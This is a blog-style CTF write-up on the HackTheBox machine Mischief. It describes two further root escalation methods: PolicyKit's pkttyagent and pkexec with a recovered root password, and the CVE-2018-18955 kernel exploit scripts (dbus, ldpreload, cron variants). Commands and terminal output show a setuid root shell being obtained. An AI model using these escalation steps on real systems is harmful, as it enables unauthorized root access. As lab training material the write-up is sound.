Since publishing my write-up on Mischief from HackTheBox, I’ve learned of two additional ways to privesc to root once I have access as loki. The first is another method to get around the fact the su was blocked on the host using PolicyKit with the root password. The second was to take advantage of a kernel bug that was publicly released in November, well after Mischief went live. I’ll quickly show both those methods.

## PolicyKit

### Background

PolicyKit is software that’s designed to be an alternative to sudo, where instead of defining what can be run in a file on each host, it provides an api that can be used by privileged programs to offer services to unprivleged programs. I wasn’t familiar with framework before this example, but it seems that the components come standard on many Linux distros (it is present on my daily Ubuntu 18.04 desktop).

Props to fjv for pointing this one out on the HTB forums.

### How It Works

In this case, I’ll need two shells on Mischief, both as loki, and the root password from loki’s history file. Getting two shells is easy to do, as I can just ssh in twice, or, better yet, ssh in and run tmux.

First, I’ll need to get the pid of the bash process in the first terminal:

loki@Mischief:/dev/shm$echo$$25923  Next, I’ll start pkttyagent in the second terminal with the --process flag. This flag lets me specify the pid of the process that will be subject to this agent. loki@Mischief:/dev/shm$ pkttyagent --process 25923


On doing this, this terminal will just hang and wait to be contacted. Back in the first terminal, I’ll now run pkexec to start a process. I’ll pass in --user root to say I want to run as root, and bash -i as the command I want to run:

loki@Mischief:/dev/shm$pkexec --user root bash -i  On doing that, the second window asks for root’s password: ==== AUTHENTICATING FOR org.freedesktop.policykit.exec === Authentication is needed to run /bin/bash' as the super user Authenticating as: root Password:  When I enter the correct password, it replies: ==== AUTHENTICATION COMPLETE ===  Back in the first window, I now have a root shell: root@Mischief:~# id uid=0(root) gid=0(root) groups=0(root)  Here’s the entier thing in action: ## CVE-2018-18955 saket sourav left a comment on the original Mischief post suggesting there was a kernel vulnerability. With a little researhc, I figured out that he was likely referring to CVE-2018-18955. To pull this off, I’ll grab the code from here: https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955. There’s also a Metasploit version available: msf > search 18955 Matching Modules ================ Name Disclosure Date Rank Check Description ---- --------------- ---- ----- ----------- exploit/linux/local/nested_namespace_idmap_limit_priv_esc 2018-11-15 great Yes Linux Nested User Namespace idmap Limit Local Privilege Escalation  But I’ll go without Metasploit. First, I’ll copy the files to target: root@kali:/opt/kernel-exploits/CVE-2018-18955# scp * loki@10.10.10.92:/dev/shm/ loki@10.10.10.92's password: exploit.cron.sh 100% 2303 113.8KB/s 00:00 exploit.dbus.sh 100% 3829 192.1KB/s 00:00 exploit.ldpreload.sh 100% 2017 95.0KB/s 00:00 exploit.polkit.sh 100% 2827 134.8KB/s 00:00 libsubuid.c 100% 351 17.2KB/s 00:00 rootshell.c 100% 143 7.0KB/s 00:00 subshell.c 100% 1604 76.9KB/s 00:00 subuid_shell.c  Now I’ll just run one of the sh scripts and I get root, in this case the dbus variant: root@Mischief:/dev/shm# ./exploit.dbus.sh [*] Compiling... [*] Creating /usr/share/dbus-1/system-services/org.subuid.Service.service... [.] starting [.] setting up namespace [~] done, namespace sandbox set up [.] mapping subordinate ids [.] subuid: 100000 [.] subgid: 100000 [~] done, mapped subordinate ids [.] executing subshell [*] Creating /etc/dbus-1/system.d/org.subuid.Service.conf... [.] starting [.] setting up namespace [~] done, namespace sandbox set up [.] mapping subordinate ids [.] subuid: 100000 [.] subgid: 100000 [~] done, mapped subordinate ids [.] executing subshell [*] Launching dbus service... Error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken. [+] Success: -rwsrwxr-x 1 root root 8384 Jan 8 20:37 /tmp/sh [*] Cleaning up... [*] Launching root shell: /tmp/sh root@Mischief:/dev/shm# id uid=0(root) gid=0(root) groups=0(root),1004(loki) root@Mischief:/dev/shm# cat /root/root.txt The flag is not here, get a shell to find it!  The different sh scripts just take advantage of different mechanisms to hit the same vulnerability. Each one creates a setuid shell as /tmp/sh owned by root. It’s a good idea to clean that file up once you have a root shell. I was able to get three of the four to work (the cron one makes you wait what feels like forever). If you do try to run more than one, just note that you need to clean up the /tmp/sh file before trying the next one, or the script will fail. exploit.ldpreload.sh: loki@Mischief:/dev/shm$ ./exploit.ldpreload.sh
[*] Compiling...
[.] starting
[.] setting up namespace
[~] done, namespace sandbox set up
[.] mapping subordinate ids
[.] subuid: 165536
[.] subgid: 165536
[~] done, mapped subordinate ids
[.] executing subshell
[+] Success:
-rwsrwxr-x 1 root root 8384 Jan  8 20:41 /tmp/sh
[*] Cleaning up...
[*] Launching root shell: /tmp/sh
root@Mischief:/dev/shm#


exploit.cron.sh:

loki@Mischief:/dev/shm\$ ./exploit.cron.sh
[*] Compiling...
[*] Adding cron job... (wait a minute)
[.] starting
[.] setting up namespace
[~] done, namespace sandbox set up
[.] mapping subordinate ids
[.] subuid: 165536
[.] subgid: 165536
[~] done, mapped subordinate ids
[.] executing subshell
[+] Success:
-rwsrwxr-x 1 root root 8384 Jan  8 20:42 /tmp/sh
[*] Cleaning up...
[*] Launching root shell: /tmp/sh
root@Mischief:/dev/shm#
`

I’m not sure why the polkit script didn’t work, but I didn’t put much time into it. It is interesting to see PolicyKit utilized for the second time today.